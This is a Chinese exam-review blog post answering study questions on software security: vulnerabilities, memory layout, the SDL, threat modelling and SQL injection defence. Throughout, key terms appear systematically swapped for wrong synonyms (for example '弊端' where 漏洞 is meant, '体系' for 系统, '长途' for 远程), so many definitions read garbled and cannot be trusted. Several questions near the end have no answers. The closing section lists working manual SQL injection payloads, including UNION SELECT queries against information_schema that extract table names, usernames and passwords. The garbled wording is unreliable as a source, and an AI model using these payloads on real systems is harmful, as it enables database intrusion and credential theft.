- 上一篇博客没有给答案,大家都私信要,我就总结一下吧。
- 文章是23年考试前写的,但是考完之后吧,有个感受就是题出的很活,很宽泛,不像信息安全那门课一样,
- 下面这些题涉及到的不算太多,但是名词解释或者简答题肯定有,包括选择题也会有涉及,对于大家理解学习也很有帮助。
复制代码 再提示大家一点,四个实验肯定要明白把握了(都很重要)。弊端分析实验、SQL注入、界面需求分析、编写正则表达式。
1.什么是零日弊端?什么是零日攻击?
零日弊端是指未被公开披露的软件弊端,还没给软件的作者或厂商以时间去为弊端打补丁或给出办理方案发起,因此,攻击者可以使用这种弊端破环计算机程序、数据、装备。
零日攻击是指使用零日弊端开发的攻击工具进行的攻击。零日攻击所针对的弊端由于还没有被软件的厂商发现或是给出相应的补丁,所以零日攻击的乐成率高,造成的破环大。
2.软件面对的安全威胁
软件弊端、恶意代码、软件侵权
3.软件弊端
软件弊端通常被以为是软件生命周期中与安全相关的设计错误、代码缺陷及运行故障等。
4.恶意代码
恶意代码是指在未授权的情况下,以破环软硬件装备、盗取用户信息、干扰用户正常使用、扰乱用户心理为目的的软件或代码片断。实现方法:二进制执行文件、脚本语言代码、宏代码或寄生在其他代码或启动扇区的一段指令。
5.软件安全
软件工程与软件保障的一个方面,提供了一种体系的方法分析、研究和追踪对危害及具有危害性功能的软件缓解步调与控制。
6.信息安全的三大根本属性CIA
保密性是指确保信息资源仅被合法的实体访问,使信息不泄露给未授权的用户。
完整性是指信息资源只能被授权者或以授权的方式修改,在存储和传输信息的过程中,不能被未授权、未预期或偶然窜改、烧毁,或在窜改后能够被敏捷发现。
可用性是指信息资源可以被合法的实体访问,并按用户要求的特性使用。
可认证性:数字署名、哈希函数、身份认证
授权:主客体
可审计性:实体
抗抵赖性:不能否认
可控性:风险
可存活性:体系容侵、灾备与恢复等。
7.实现保密性、完整性的方法
实现保密性的一样平常方法是对信息进行加密,大概对信息划分差异密级而且分配访问者访问权限,体系根据用户身份权限控制对差异密级信息的访问。
实现完整性的一样平常方法是预防和检测两种机制。预防通过阻止任何未授权的用户修改数据的企图,以实现对数据的完整性保护。检测并不试图阻止数据完整性的破坏,而是分析体系和用户的行为,或是数据本身来发现数据的完整性是否遭到破环。
8.软件可靠性
规定的条件下,在肯定时间内软件不引起体系失效的概率。该概率是体系输入和体系使用的函数,也是软件缺陷中存在的函数。
在规定的时间周期内,所述条件下程序执行所要求的功能的特性。
9.软件的“可信”
软件的“可信”是指软件体系的动态行为及其效果总是符合人们的预期,在受到干扰时仍能提供连续的服务。这里的的“干扰”可以是操作错误、环境影响和外部攻击。
10.软件定义安全SDS
SDS的根本原理是将物理及假造的网络安全装备预期接入模式、摆设方式、安全功能进行解耦,底层抽象为安全资源池里的资源,顶层统一使用软件编程语言进行智能化、专业化的业务编排和管理,以完成相应的安全功能,从而实现一种灵活的安全防护。
软件定义资源、软件定义流量、软件定义威胁模子
11.PDRR
保护、检测、相应、恢复
信息保障:通过确保信息和信息体系的可用性、完整性、保密性、可认证性和不能否认性等特性来保护信息体系的信息作战行动,包罗综合使用保护、检测和相应本领以恢复体系的功能。
12.纵深防护战略
保护网络和底子设施;保护计算环境;保护边界;支撑底子设施
13.软件安全防护方法
采用多种检测、分析及发掘技能对安全错误和安全弊端进行发现、分析和评价,然后采用安全控制步调进行错误修复和风险控制。
分析软件安全错误产生的缘故原由,并将安全错误的修正嵌入到软件开发生命周期的整个阶段。
14.软件安全防护技能
软件安全属性认知、信息体系安全工程、软件安全开发
课后题:3.体系存在由于软件厂商还没有发现或是还未提供相应的补丁。
15.弊端生命周期时间轴
弊端产生、弊端发现、弊端公布、补丁发布、弊端较低、弊端消亡
16.弊端的特性
持久性与时效性:随着时间的推移,旧的弊端会不绝消散,新的弊端会不绝产生;超过肯定的时间限定,弊端的威胁就会逐渐淘汰并逐渐消散。
广泛性与具体性:会影响到很大范围的软硬件装备;总是存在于具体的环境或条件中。
可使用性与隐蔽性:一旦被攻击者使用就会给信息体系带来威胁和损失;往往须要通过特殊的弊端分析本领才能发现。
17.弊端产生缘故原由
计算机体系结构决定了弊端的必然性;软件趋向大型化,第三方扩展增多;新技能、新应用产生之初即缺乏安全性的思量;软件的使用场景更具威胁性;对软件安全开发重视不够,软件开发人员缺乏安全知识。
18.软件弊端的分类
基于弊端成因的分类:内存破坏类、逻辑错误类、输入验证类、设计错误类、配置错误类;
基于弊端使用位置分类:当地弊端、长途弊端
基于威胁类型分类:获取控制、获取信息、拒绝服务
19.软件弊端的分级
按照弊端严重品级进行分级:微软:严重、重要、中等、低;CNNVD访问路径、使用复杂度、影响水平(超危、高危、中危、低危)
按照弊端评分体系(CVSS):根本度量、时间度量、环境度量
20.软件弊端管理标准(国内、国际)
国际:通用弊端和披露(CVE),通用缺陷罗列/评分体系(CWE/CWSS),通用平台罗列(CPE)、开放弊端评估语言(OVAL)
21.CWETop25和OWASPTop10对弊端的划分有什么区别
目的对象差异:CWETop25主要面向全部的软件和网络体系的弊端,而OWASPTop10偏重于Web应用程序中常见的弊端;
列举方式差异:CWETop25对弊端按照其严重性和常见性进行分类,并以清单的方式进行展开,OWASPTop10对弊端类型进行划分,此中每一种类型都具体列举了该类型的具体弊端;
形貌方式差异:CWETop25具体形貌了每一种弊端类型,涵盖了各种差异的攻击方式,OWASPTop10也对弊端类型进行了形貌,但偏重点在弊端类型的影响和如何防范上,并列举了相关示例。
22.程序运行时的内存结构
代码区:用于存放程序汇编后的机器代码和只读数据,这个段在内存中一样平常被标记为只读,任何企图修改这个段中的数据都会得到引发一个错误,当计算机运行程序时,会到当前地区读取指令并执行;
数据区:存放全局变量和静态变量
堆区:该地区内存由进程使用相关函数和运算符动态申请,用完后释放归还给堆区;
栈区:该地区内存由体系自动分配,用来存放动态函数之间的调用关系。
23.什么是缓冲区溢出弊端
缓冲区溢出弊端是指在向缓冲区写入数据时,由于没有做边界检查,导致写入缓冲区的数据超过了预先分配的边界,使溢出的数据覆盖原有数据从而导致体系异常的一种征象。
栈帧存放的内容:前栈帧EBP、函数的局部变量、函数调用的参数、函数返回地址RET
函数调用的步骤:函数参数入栈、函数返回地址RET入栈、代码区跳转、将当前栈帧调解为被调用函数的栈帧。
栈溢出修改相邻变量、栈溢出修改返回地址
24.栈溢出弊端根本原理
在函数的栈帧中,局部变量是顺序排列的,局部变量下面紧跟的是前栈帧EBP及函数返回地址RET,如果局部变量是数组元素,由于存在越界的弊端,越界的数组元素将会覆盖相邻的局部变量,乃至覆盖前栈帧EBP及函数的返回地址RET,从而造成程序的异常。
25.栈溢出攻击
栈溢出攻击是一种使用栈溢出弊端所进行的攻击行动,目的在于扰乱具有某些特权运行的程序的功能,使得攻击者取得程序的控制权,如果程序具有足够的权限,那么整个主机就被控制了。
26.堆管理体系的的3类操作
堆块分配、堆块释放、堆块合并
27.格式化串弊端
格式化串弊端源于数据输出函数对输出格式解析的缺陷,其根本缘故原由也是C语言中不对数组边界检查的缓冲区错误。
28.简述Windows安全弊端保护的根本技能及其存在的问题
栈溢出检测选项G\S;
数据执行保护DEP:可执行内存不可写、可写内存不可执行
地址空间结构随机化ASLR:通过对堆、栈、共享数据库映射等线性地区结构的随机化,增加了攻击者寻找目的地址的难度,防止攻击者直接定位到攻击代码的位置,有效的阻止了使用弊端的目的。
安全结构化异常处理惩罚SafeSEH:将全部合法的异常处理惩罚函数的地址解析出来制成一张安全SEH表,并存放在image的数据块里面。当程序调用异常处理惩罚函数时会将函数的返回地址取出来与SEH表中的地址进行匹配,检查调用的异常处理惩罚函数是否位于该表中,如果image不支持SafeSEH机制,则表中的数据为0。
29.Web应用安全弊端
Web应用安全弊端是指在Web应用程序的需求、设计、实行、维护和使用过程中,故意偶然产生的缺陷,该缺陷一旦被攻击者所使用,就会对用户和网站造成侵害,从而影响构建Web应用程序之上的正常服务的运行,危机用户和网站的安全属性。
30.2013发布的Web安全十大威胁
失效的身份认证与会话管理、SQL注入、跨站脚本、不安全的直接对象引用、错误的安全配置、敏感数据泄露、缺乏功能级访问控制、跨站哀求伪造、使用有弊端的组件、未验证的重定向与转发。
31.什么是SOL注入弊端、主要危害
SQL注入弊端是指攻击者能够使用现有Web应用程序,将恶意数据插入到SQL查询中,并提交到背景数据库引擎执行非授权操作。
危害:恶意查询、删除、修改数据资源;执行非体系命令、承载主机操作体系或网络的访问权限
32.为什么SOL注入弊端多年来一直名列Web安全弊端榜首
SQL注入攻击具有广泛性:SQL注入攻击使用的是SQL语法,这使得全部基于SQL查询的标准数据库软件以及与之连接的网络应用程序都面对该攻击;
SQL注入攻击的原理相对简朴,先容注入弊端或使用弊端的方法等资源非常多;
相较于其他弊端,SQL注入弊端的防范要困难。
33.当输入“1’”进行注入尝试时,体系返回数据库报错信息,是否可以肯定这里肯定存在数字型注入弊端
不能肯定。当输入“1’”进行注入尝试时,只能保证存在SQL注入弊端,而不能确定是哪种类型,具体类型可以根据返回的错误信息和其他输入值对应的表现情况来判断。要想确定存在数字型注入还需在id背面分别输入“1 and 1 = 2” 和“1 and 1 = 1”,看是否与直接输入1返回的页面相同。
34.防范SQL注入弊端的根本方法有哪些?重点谈谈在代码开发层面的安全步调
代码层防护。
采用强类型语言。采用C++、Java等强类型语言几乎可以完全忽略SQL的数字型注入;
只管避免使用拼接的动态SQL语句,全部的查询语句都使用数据库提供的参数化查询接口,参数化语句使用参数而不是将用户的输入变量直接嵌入到SQL查询中;
在服务器端验证用户输入的类型和值是否符合程序的预期要求;
在服务器端对用户输入进行过滤;
避免网站表现SQL的错误信息,如类型错误、字段不匹配,防止攻击者使用这些错误信息进行判断;
加固应用程序服务器和数据库,采用最低用户权限连接数据库。
35.什么是软件生命周期
正如其他生命事物一样,软件也有其孕育、诞生、发展、成熟和衰亡的生存过程。一样平常来说被称为软件生命周期。
软件生命周期由定义、开发和维护三个时期组成,每个时期都可以划分为若干个阶段。
36.软件过程
软件过程是指为得到高质量软件产品所须要完成的一系列任务的框架,它规定了各项具体任务工作步骤。
37.软件开发模子
软件开发模子是跨越软件生命周期的体系运行、开发和维护所需实行的全部工作和任务的结构框架,给出了软件开发活动各阶段之间的关系。
微软的软件安全开发生命周期模子SDL:相关文档丰富、
McGraw的软件内建安全开发模子、
NIST的软件安全开发生命周期模子、
综合的轻量级应用安全过程CLASP:CLASP夸大安全开发过程中的角色和职责,其安全活动基于角色安排.
软件保证成熟度模子SAMM:SAMM的目的在于制定简朴、有良好定义,且可丈量的软件安全开发模子,其对安全知识的要求更低,更适于非安全专家使用。
38.SDL模子(与瀑布模子的关系),SDL模子7个阶段的安全活动
SDL模子由软件工程的瀑布模子发展而来,是在瀑布模子的各个阶段增加了安全活动和业务活动目的。
安全培训、安全需求分析、安全设计、安全实行、安全验证、安全发布、安全相应
39.SDL模子实行的根本原则
安全设计:软件在开发和设计过程当中应该思量如何保护其自身抵御外部攻击;
安全配置:软件在缺省配置运行环境中,应该思量如何降低风险,此中一个重要的假设是软件自身代码总存在安全弊端。
安全摆设:软件应当提供相应的文档和工具,确保终极用户和管理员安全的使用。此外,更新应该易于摆设;
沟通:软件开发人员应当为产品弊端的发现准备相应方案,并与体系应用的各类人员进行沟通,以资助他们采取保护步调。
40.敏捷SDL ? 敏捷SDL与典范SDL的区别
敏捷SDL是一种迭代式的软件开发生命周期,以研究敏捷软件为目的软件开发模式,夸大开发者和客户的沟通和连结,采用快速反馈的方式不绝优化产品,以每次迭代的效果作为快速验证原型获取客户的反馈,从而不绝优化和产品进度。
区别:
敏捷SDL并不使用传统的瀑布模子,而是采用无阶段的迭代开发生命周期模子,以快速实现软件版本的更新和发布。如果在开发过程中使用瀑布模子,那么比较适合采用典范SDL,而不适合采用敏捷SDL。
在敏捷SDL中,并不是每个发布版本都须要到达全部的要求,这是敏捷SDL与传统SDL的最大差异。
41.BSI模子的三根支柱
风险管理:风险管理是一种战略性方法,即将减轻风险作为贯穿整个软件生命周期的指导方针;
软件安全接触点:BSI模子并不夸大开发流程,而是在软件开发的每个阶段通过安全接触点来保证软件的安全性,既在软件生命周期保证了软件的安全性,又超脱于具体的开发模子。
安全知识:安全知识夸大对安全履历和专业技能的收集与汇总,并对软件开发人员进行安全培训,通过安全接触点将项目运用到工程当中。
模子核心思想:对软件全生命周期各个阶段产品(工件)的安全性进行评估、测试、验证以及操作控制,实现面向过程的全生命周期安全质量控制方法。
综合的轻量级应用安全过程CLASP
42.SAMM的目的,SAMM核心业务与安全实践之间的关系
目的:
评估一个组织中与软件安全相关的实践;创建一个迭代的、平衡的软件安全保证计划;验证安全保证计划带来的实质性改善; 定义并衡量一个组织中与安全相关的步调。
治理:策略与指标、政策与遵从、培训与指导
构造:威胁评估、安全需求、安全架构
验证:设计审查、代码考核、安全测试
摆设:弊端管理、环境加固、操作启用
43.软件安全需求分析的目的和作用
软件安全需求分析的目的是形貌为了实现信息安全目的,软件体系应该做什么,才能获取高质量的软件产品,淘汰进而减少软件安全弊端。
一个没有进行安全需求分析的软件开发项目,将会影响信息的保密性、完整性、可用性及其他一些重要的安全属性。体系被攻击者攻破只是一个时间早晚的问题,而不是条件问题,取决于攻击者对体系价值的判断。
44.软件安全需求的主要工作
在软件开发生命周期的需求分析阶段,起首要确定体系的业务运行环境、规则环境及技能环节,然后在相识各个阶段需求内容的底子上,通过软件的需求分析获取过程,对软件肯定包含的安全需求进行分析。
45.软件安全需求分析与软件需求分析的区别与联系
区别:
软件安全需求分析的客观性。安全需求并不是从使用者的兴趣和要求出发,而是由体系的客观属性来决定的;
软件安全需求分析的体系性。安全需求并不光是从软件本身出发,而是必须从体系的角度来分析。
软件安全需求分析的经济性和实用性。安全需求的内容非常丰富,并不是全部的应用软件安全控制步调都要采纳和实行,而是应当根据具体业务的重要性,对安全步调进行成本控制。
联系:
软件安全需求是软件需求的须要组成部分,软件安全需求应当与业务功能需求具有相同的需求水平,而且对业务功能需求具有约束力。
46.软件安全需求的来源分类
外部安全需求:一样平常是法律、法规及遵从性需求,包罗相应国家和地区有关安全技能与管理的标准、法规、指南和实践模式。
内部安全需求:一是组织内部的须要遵守的标准、政策及要求;二是与业务功能相关的安全需求。
47.为什么说软件安全需求更多的来源于遵从性需求
在软件安全需求分析过程当中,软件用户由于缺乏专业知识,很难从专业的角度提出软件的安全需求,因此软件的安全需求更多的来自于对组织内部和外部的安全标准及政策的遵从。
48.我国为什么要实行网络品级保护制度?网络安全保护本领划分为哪些品级?具体每个品级有什么要求?
对信息安全分品级保护客观需求,品级化保护是发展规律;品级保护是国家法律和政策要求
5个品级。
49.品级保护工作流程
定级、备案、品级测评、安全建设与整改、监督检查
内容:
对网络(含信息体系、数据,下同)实行分品级保护、分级羁系。
对网络中使用的网络安全产品实行按品级管理。
对网络中发生的安全事件分品级相应、处理。
50.网络品级保护与信息安全管理体系的联系与区别
信息安全管理体系从管理的角度对信息进行管理,品级化保护是信息安全管理体系的一部分,是底子性的工作,两者在管理目的上具有一致性,而且还具有相辅相成的作用。
区别:工作重点差异、依据的标准差异、实行对象差异
51.软件安全需求的获取方法
头脑风暴、使用问卷和调查、策略分解、数据分类、主客体关系矩阵、使用用例和滥用案例建模、软件安全需求跟踪矩阵
52.数据分类
数据分类是指根据数据生命周期的分阶段划分来决定相应的安全需求,大概根据数据重要性对保护品级的划分来决定相应的安全需求。
53.软件安全设计阶段的主要工作
软件架构安全性设计:软件架构安全性设计起首要进行体系形貌,包罗体系功能、安全需求、体系摆设和技能要求,确定软件体系的安全品级。接着,设计数据库和网络体系应该具备的安全功能。
软件架构安全性分析:根本过程是起首进行架构建模,然后根据软件安全需求的形貌或相关标准,对架构模子是否满意要求进行检查,如不满意则须要修改设计架构,如此反复,直至满意全部的安全需求和相关标准。
软件安全功能设计:思量如何将安全需求设计到架构中并成为架构的有机组成部分,并将他们转化为可实现的功能组件。
54.软件架构安全性分析的重要性
在软件架构设计和软件安全架构的设计过程中,尤其是对于大而复杂的体系,一次性将全部安全属性设计到软件架构中,这是一件非常复杂挑战性的工作。因此,在软件安全架构设计完成后,在退出设计阶段进入开发阶段之前,起首要对设计方案和软件架构进行检查,确定是否满意设计的需求。
55.软件架构安全性分析的两类分析方法
形式化分析方法:形式化形貌软件架构和安全需求,使分析的效果精确、可量化,自动化水平较高,但实用性较低。
工程化分析方法:从攻击者的角度形貌体系面对的风险,实用性较强,但自动化水平较低。
56.安全设计原则
淘汰软件的受攻击面原则、最小权限原则、权限分离原则、纵深防御原则、完全控制原则、默认安全配置原则、开放设计、保护最弱一环原则、最少共用机制原则、安全机制的经济性原则、安全机制的心理可担当原则、平衡安全设计原则。
57.软件受攻击面是指什么?采取哪些策略
软件受攻击面是指用户和其他程序以及潜伏的攻击者都能够访问到的全部功能和代码的总和,它是一个混淆体,不仅包罗代码、接口和服务,而且包罗对用户提供服务的协议,尤其是那些未履历证的长途用户都能够访问到的协议。
策略:
重要性低的功能可取消,重要性中的功能可设置非默认开启,只有在用户配置后才能予以开启;重要性高的功能关闭大概增加一些安全步调进行控制,重用那些颠末测试已证明安全的现有库和通用组件,而不是用户自己开发的共享库。
58.什么是最小授权原则,哪些步调采用了最小授权原则
最小授权原则是指体系仅授予实体完成规定功能的最小权限,且该权限的持续时间也尽大概短。
将超等用户的权限划分为一组细粒度的权限,并分配给差异的体系操作员和管理员,对管理员用户分配的安全资源权限设置受限访问而不是超等用户权限。
采用高内聚、低耦合的模块化编程方法,模块之间采用的连接方式是弱链接,每个模块只完成一个独立的功能。
59.什么是安全模式?为什么说能够使用安全模式来快速、准确的进行软件安全设计?
安全模式就是在给定的场景下,为控制、阻止或减少一组特定的威胁而采取的通用办理方案。该办理方案须要应对一系列的问题,并可以通过UML类图、时序图、活动图、状态图等进行表述。
安全模式封装了反复出现的体系问题的办理方案,精确的表述了体系要求和办理方案,采用模式的体系架构形貌也比较容易让人明白,为设计和实现提供了指南,实现了比架构更安全的方法。另外,安全模式可以为没有专业知识的应用开发人员也能进行安全步调,通过分析体系是否包含特定的模式,进一步分析体系的安全性。此外,在改造旧有体系时,还可以为体系添加缺乏的安全特性。
60.给出一种使用安全模式进行软件安全设计的方法
风险确定阶段:该阶段主要有两个工作,风险识别和风险评估。该阶段通过对业务需求、用户需求和安全需求等的分析,使用汗青威胁记载与履历,识别并评估体系面对的风险。
体系安全架构阶段:该阶段对风险进行消解,并对办理方案进行评估,在此底子上构建体系高层架构。主要工作有:欣赏模式库、选择安全模式、评估安全模式、创建体系高层架构。
体系设计细化阶段:该阶段的主要工作有:构建业务类图、实例化安全模式、选择一个合适的体系并重构。
61.什么是威胁建模?简述威胁建模的过程
软件威胁建模是指通过抽象的概念模子对影响软件体系的威胁进行体系的识别和评价。
确定安全目的、创建应用程序概况图、分解应用程序、确定威胁、威胁评估、确定威胁缓解计划与策略、验证威胁、威胁建档。
62.安全编码的含义
63.CERT安全编码发起
64.C语言安全编程注意事项
65.C语言中针对缓冲区溢出的主要步调
66.在Java语言安全编码中,语言层安全、字节码层安全、应用层安全
67.安全编码实践
68.软件安全测试的目的、内容、原则、方法
69.含糊测试的核心思想
70.含糊测试的方法、过程
总结:
1.SQL手工注入分析
(1)判断是否存在注入,注入是数字型还是字符型
输入:1、1’=‘1’ and ‘2、1’=‘1’ or ‘1
(2)猜解SQL查询语句中的字段数
1’or 1 = 1 order by 1 # 1’or 1 = 1 order by 2 # 1’or 1 = 1 order by 3 #
(3)获取当前数据库名
’union select user(),database() #
(4)获取数据库表名
’union select 1 , group_concat(table_name) from information_schema.tables where table_schema=database() #
(5)获取表中的字段名
’union select 1 , group_concat(column_name) from information_schema.columns where table_name = ‘user’ #
(6)获取user及password
’union select user ,password from users #
(7)尝试破解口令
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |